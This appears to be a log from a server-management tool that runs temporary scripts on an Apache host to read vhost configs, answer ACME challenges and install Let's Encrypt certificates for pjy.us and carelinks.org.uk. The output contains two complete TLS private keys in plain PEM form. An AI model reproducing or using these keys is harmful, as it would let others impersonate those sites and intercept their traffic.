         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-27 06:00:24: 

PUT: /tmp/pkp474894

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-27 06:00:24: 

chmod 755 /tmp/pkp474894; /tmp/pkp474894; rm /tmp/pkp474894

2025-10-27 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf	1174

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-27 06:00:24: 

PUT: /tmp/pkp399457

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-27 06:00:24: 

chmod 755 /tmp/pkp399457; /tmp/pkp399457; rm /tmp/pkp399457

2025-10-27 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt	5341
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-27 06:00:24: Establishing a connection
2025-10-27 06:00:24: Establishing a connection
2025-10-27 06:00:24: 

PUT: /tmp/pkp721851

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-27 06:00:25: 

chmod 755 /tmp/pkp721851; /tmp/pkp721851; rm /tmp/pkp721851

2025-10-27 06:00:25: 


1


2025-10-27 06:00:25: Establishing a connection
2025-10-27 06:00:26: 

PUT: /tmp/pkp223492

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > 75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA
cat > 875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc


2025-10-27 06:00:26: 

chmod 755 /tmp/pkp223492; /tmp/pkp223492; rm /tmp/pkp223492

2025-10-27 06:00:26: 




2025-10-27 06:00:36: Establishing a connection
2025-10-27 06:00:36: 

PUT: /tmp/pkp466754

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm 75ALRfWeiXMR3TTq7JyQIs-M6Qh1PUdiqbxhlM41QsA
rm 875XoF0YqJlc4g7u8c5UhHIYqsygGxN2_xbXwb8KUKc


2025-10-27 06:00:37: 

chmod 755 /tmp/pkp466754; /tmp/pkp466754; rm /tmp/pkp466754

2025-10-27 06:00:37: 




2025-10-27 06:00:37: Establishing a connection
2025-10-27 06:00:37: 

PUT: /tmp/pkp867605

#!/bin/bash
temp_file=$(mktemp)
TARGET=86cfc05b70ff27e9bd43265985e9e664.crt

cat > $temp_file <<'endmsg'
64:34:3f:64:38:d1:e7:12:29:8d:e3:a8:f7:95:0e:21

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBcjgwF6tV3LL71O4OhCH3IVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI3MDUwMjA2WhcNMjYwMTI1MDUwMjA1WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAnib/5zjqcxH3bNZiOgx/r0v2x2LKJ8UUCJuS2xkUZBXgUdM35mmuzS0GLInL
SANvTNRARWqgVyNZ/RYFbrGpZb169V2vhK3/L2u971xT3ExyJbc/rbZFw7jw6peK
ky03FHVT64Fko+P6zr47TUm8kQEqPo3Zu4sclTXjFgKYikmtGB5cl8kvnnzqEjBt
8kAg8Nmpp5RIiRcaIad8yXeq1QfY68RwC2eLD18Mu3Bqak3/oNtyT1DcX5o4CmH3
2ayStWqOgdPRE4TjDHx0e3DQalReTZAuDRSRNPnWpiIVlNMcp/hF15MEZSipK1qx
T32QFLeYybHGtdItY7UDF090CQIDAQABo4ICOTCCAjUwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT2IJ8fHBevywcV7JDxS2ezgtMphTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQYG
CisGAQQB1nkCBAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmiRBFF8AAAQDAEgwRgIhAK22lcVyHr4s2/We0o4tOZvrg64i9uaS
0Xie3jHYCNerAiEA1jlTO16mLHpTX6iqHiKLtiBDIDuWEYl2TYTbe+pLOncAdwAZ
htTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZokQRRcAAAEAwBIMEYC
IQDKlEgHTE4uu1bhuQcMxBpsPOKuKqhNbjaiyhsUrtAPHAIhALrZ7UWKoNl+RZxf
P9kK63+fC2e4m1tdZWhKB3wh4VK0MA0GCSqGSIb3DQEBCwUAA4IBAQCHnHBRs/9i
csDndbzwlbfw8cJ1ZK+69F9jidcgxgrQ6kxjO6OEmUIbXDgZvQturg2VabU6rMRM
Uh8SMPSUPSNGwJKGyBSKGtaQkvTpqF26/vaBRNC3TF142doWHJuy4uFOpC2ydItZ
dDCTQkH/YoCzSwqnPuUxBl3xy45s0dlhDJ4BxcxR0YBxlgHgMzoFA0iOnRR2ok/X
0BHUIyoI8NeopMB6rnVwAB6ih/xkfanUuRQumaQewC8Z81vMT+Rw3wEgs1rOGtbv
/z70leJUQ4rrZwXiAGPiuinIjP5anRGNmkZC4/SyWKDTBsj0/XQJvlgKXtPf7Mow
ew+A27Qvqa2z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCeJv/nOOpzEfds
1mI6DH+vS/bHYsonxRQIm5LbGRRkFeBR0zfmaa7NLQYsictIA29M1EBFaqBXI1n9
FgVusallvXr1Xa+Erf8va73vXFPcTHIltz+ttkXDuPDql4qTLTcUdVPrgWSj4/rO
vjtNSbyRASo+jdm7ixyVNeMWApiKSa0YHlyXyS+efOoSMG3yQCDw2amnlEiJFxoh
p3zJd6rVB9jrxHALZ4sPXwy7cGpqTf+g23JPUNxfmjgKYffZrJK1ao6B09EThOMM
fHR7cNBqVF5NkC4NFJE0+damIhWU0xyn+EXXkwRlKKkrWrFPfZAUt5jJsca10i1j
tQMXT3QJAgMBAAECggEAJ43rfOIQSR1aO59Wy9vqZ2ZhXzbHBrFUtF5smV2paurJ
ws1H8tnFvU0geS0xaV5qjNWdCX+EgKa30AOc8jV+/5InWYzH5DA8XZjd1SrLUpLQ
DbzKMWEgC7aKkrG6F9s8JmK9zW38RL01MlYDsO3bOo0HCsQhi7VcPblPhWa6zgMA
j2cu3FJvYBI8L3kzYPTctQaVEqvaWVON5P6HrsPN6tKZ3//AAgCQRVHK9ZiJB81O
lESyYaTC9xlgjnb21SGDyQLwM8kG3EvqTyvM7FfCkryRTuf6nkKieBiiaMupeCZK
KMTFsLn71d4MCTHoSA3s1fwvbGziXAfQfx5Op9y0HQKBgQDQp1esQQBPkqFbxJq5
XEMZrcYaocMo9Las6/bpLrBC8qJEJFsyiNULugWcNAxTtOFtcYxKg/IEkLZFDWkr
bjahF4GfLMXsNiC1eTktppBCtdalckYVR6C9glyfEtwQ8toTeQjGjVpcSJ3V7fVc
6RDrJZQDn2Ur5pkVlG/fKPnOowKBgQDCCgrz0WJIemkFza4mgOZfFetXBu1MasFd
uTB+590GyoIe3ehHlnYJWriZAWjDsSewMbnJiFGa0h45/dae+A0taUPMifcww8vf
z2xB+NXjNScWJzCldRuabfRQBuEWnMKR57+OsoqM6B0HorJ6DnVwaT4koCp7Zv/L
99V9C+j5YwKBgQCb/pBwiwRVeXXDqyBWNqFAAIhcftXut84fSCcIPMywsMAaG+hG
xsApDUGGf+87Yb8r2LmfODhnq11qENWxD6wuEenp/EpZCDq6ElBqTd4K0fIRLXcy
D6QgKudeUnZPAZGC/3lNIH8PAYdnWomXlfP9KdIYR0IXaUbIOHrPJ85j6wKBgE3d
b9W1sWX6UUi15+ulkEyZ5C2xJuqicGQm23Iho02FWEAAtqR7mXRZhnhH232kCpQm
8DISVQT2ypBk74otakRN2Josxxg3igmPGBdFPreFbeDy6w+KdgA7nW27xPmpAF9C
i1k9BmJTBss4m7xlLvVkFj7mUwXgKEf2dSJP9DaXAoGADD+lR/eHisq6A1Lxi8u9
qh2atdj11VPIHWfkrGfXMdNicofP+r3CO/JvVNYvsl/U7OjkROrFRyY0QpPglRRa
cbG9r+L6fi/oD2AAbrWKmdD+E5RUa/oCLnCdD1rAQ0wKH/Y/M4MRZKnlkRWFStp7
zK/LYHeoX/tTQ6WnDDFOKQ4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-27 06:00:37: 

chmod 755 /tmp/pkp867605; /tmp/pkp867605; rm /tmp/pkp867605

2025-10-27 06:00:37: 


dir=/etc/ssl/certs


2025-10-27 06:00:37: 

PUT: /tmp/pkp105342

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

